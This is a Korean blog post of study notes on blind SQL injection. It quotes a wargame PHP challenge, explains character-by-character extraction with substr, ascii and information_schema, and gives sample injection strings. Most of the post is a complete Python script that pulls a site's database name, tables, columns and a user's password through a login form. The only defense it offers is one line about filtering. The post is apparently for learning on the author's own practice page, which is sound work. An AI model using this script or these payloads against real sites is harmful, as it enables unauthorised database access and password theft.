Web
Blind SQL Injection 실습 정리
Tribal
2017. 5. 16. 01:49
Blind SQL Injection : DB 내부의 값을 직접 얻거나 할 필요가 있을 때 하는 공격
상황 예제(LOS 코드)
1 2 3 4 5 6 7 8 9 10 11 12 13 | <?php .............................. if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "<h2>Hello admin</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); ?> | cs |
12번째 줄과 같이 DB에서 탐색된 값과 입력된 값을 다시 한 번 검증하는 경우는 SQL Injection만을 이용해서 공격하기 어려움.
이런 경우에 Blind SQL Injection을 통해 pw의 값을 얻어낼 필요가 있음
실습 페이지(그냥 페이지만 만들어서 SQL Injection도 먹힘)
공격 원리
1.
2.
3. 전부 알아낼 때 까지 과정을 반복
공격 원리에 필요한 것
- substr 연산자 : 1번째 인자의 문자열을 2번째 인자의 위치부터 3번째 인자만큼 자름
ex) substr(TEst, 2, 3) => Est - ascii 연산자 : 문자의 아스키 값을 반환
ex) ascii('A') => 65 - information_schema : 데이터베이스의 메타데이터(모든 Table, Column 등...)를 저장하는 schema
- substr과 ascii 연산자를 이용해 DB에서 값의 일부를 하나씩 가져와 값의 범위나 값 자체를 비교하는 것으로 참과 거짓 판단
ex) DB 내부의 값 중 "Tribal"이란 값이 존재함. "Tribal"의 문자를 하나씩 가져와 'T' > 100이나 'T' = 84 등을 확인하여 페이지의 결과 변화로 참과 거짓 확인(참이면 Hello, Tribal이라거나 거짓이면 Login failed...라거나)
공격 방법(공격 원리를 자세히..)
- SQL Injection 여부 확인
- 값을 참이 되도록 조작(id='' or 1=1...처럼)해두고 뒤에 추가로 Blind SQL 값 판단 확인 쿼리 내용 추가
ex) tribal' and ascii(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),1,1)) = 84 # - 쿼리를 실행하도록 하여 페이지 결과 확인(위의 ex에서 참이면 그 문자는 'T', 아니라면 84를 참일 때 까지 다른 값으로 계속 변경)
- 주로 빨간색 표시된 부분의 값을 계속 변경하여 최종적으로 데이터 값 추출(직접하기 힘드므로 스크립트 추천)
공격방법 참고 사이트
- http://crattack.tistory.com/entry/WEB-Blind-SQL-Injection-%EA%B3%B5%EA%B2%A9-%EB%B0%A9%EB%B2%95
- http://hyunmini.tistory.com/59
자동화 스크립트
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 | #!/usr/bin/python import urllib, urllib2 import sys # Connect URL def urlcon(query): method = "id=" + urllib.quote(query) # url encode method += "&" method += "pw=asd" url = urllib2.Request('http://~~~~~~~~~~~~/sql_db/login.php?' + method) s = urllib2.urlopen(url) result = s.read() s.close() # Check if result.find("Hello, ") == -1: return 0 # failed else: return 1 # success # Get a current DB Name def get_db(): length = 0 db = "" for i in range(1, 30, 1): # Get Length query = "tribal' and substr((select length(database())), 1, 2) = '{0}'#".format(i) if urlcon(query) == 1: length = i break print "Length : {0}".format(length) for i in range(length): for j in range(0, 127, 1): query = "tribal' and ascii(substr((select database()), {0}, 1)) = '{1}'#".format(i+1, j) if urlcon(query) == 1: db += chr(j) break print db print "=================================================================" print "Result : " + db return db # Get Tables def get_table(): tlist = [] index = 0 while 1: length = 0 for i in range(1, 30, 1): # Get Length query = "tribal' and substr((select length(table_name) from information_schema.tables where table_type='base table' limit {0},1),1,2) = '{1}' #".format(index, i) if urlcon(query) == 1: length = i break if length == 0: print "=================================================================" print "Complete" break print "Length : {0}".format(length) table = "" for i in range(length): for j in range(0, 127, 1): query = "tribal' and ascii(substr((select table_name from information_schema.tables where table_type='base table' limit {0},1),{1},1)) = '{2}' #".format(index, i+1, j) if urlcon(query) == 1: table += chr(j) break print table tlist.append(table) index += 1 print tlist return tlist # Get Columns def get_column(table): clist = [] index = 0 while 1: length = 0 for i in range(1, 30, 1): # Get Length query = "tribal' and substr((select length(column_name) from information_schema.columns where table_name='{0}' limit {1},1),1,2) = '{2}' #".format(table, index, i) if urlcon(query) == 1: length = i break if length == 0: print "=================================================================" print "Complete" break print "Length : {0}".format(length) column = "" for i in range(length): for j in range(0, 127, 1): query = "tribal' and ascii(substr((select column_name from information_schema.columns where table_name='{0}' limit {1},1),{2},1)) = '{3}' #".format(table, index, i+1, j) if urlcon(query) == 1: column += chr(j) break print column clist.append(column) index += 1 print clist return clist # Get a Value def get_value(table, ID): length = 0 pw = "" for i in range(1, 30, 1): # Get Length query = "tribal' and substr((select length(pw) from {0} where id='{1}' limit 0,1),1,2) = '{2}' #".format(table, ID, i) if urlcon(query) == 1: length = i break print "Length : {0}".format(length) for i in range(length): for j in range(0, 127, 1): query = "tribal' and ascii(substr((select pw from {0} where id='{1}' limit 0,1),{2},1)) = '{3}' #".format(table, ID, i+1, j) if urlcon(query) == 1: pw += chr(j) break print pw print "=================================================================" print "Result : " + pw return pw # Main Function if __name__ == '__main__': print "=================================================================" print "Blind SQL Injection" print "=================================================================\n" argc = len(sys.argv) if argc >= 2: if int(sys.argv[1]) == 1: get_db() elif int(sys.argv[1]) == 2: get_table() elif (int(sys.argv[1]) == 3) and sys.argv[2]: get_column(sys.argv[2]) # Table Name is "accounts". elif (int(sys.argv[1]) == 4) and sys.argv[2] and sys.argv[3]: get_value(sys.argv[2], sys.argv[3]) # Table Name is "accounts", ID is "tribal". else: print "Usage : {0} <num(1~4)> [Table Name] [ID]".format(sys.argv[0]) else: print "Usage : {0} <num(1~4)> [Table Name] [ID]".format(sys.argv[0]) | cs |
단순하게 1~127까지 검사하기 때문에 시간이 많이 걸린다. 따라서 이진탐색을 이용한 알고리즘을 사용하면 2^7=128이기 때문에 정말 특수한 경우가 아니라면, 1~127번의 횟수를 7번으로 대폭 줄일 수 있다.
실행결과
현재 사용 중인 DB명 추출
모든 base table명 추출
table 내부 모든 column명 추출
table 내부 특정 value 추출
방어방법
SQL Injection이랑 동일...(필터링을 잘)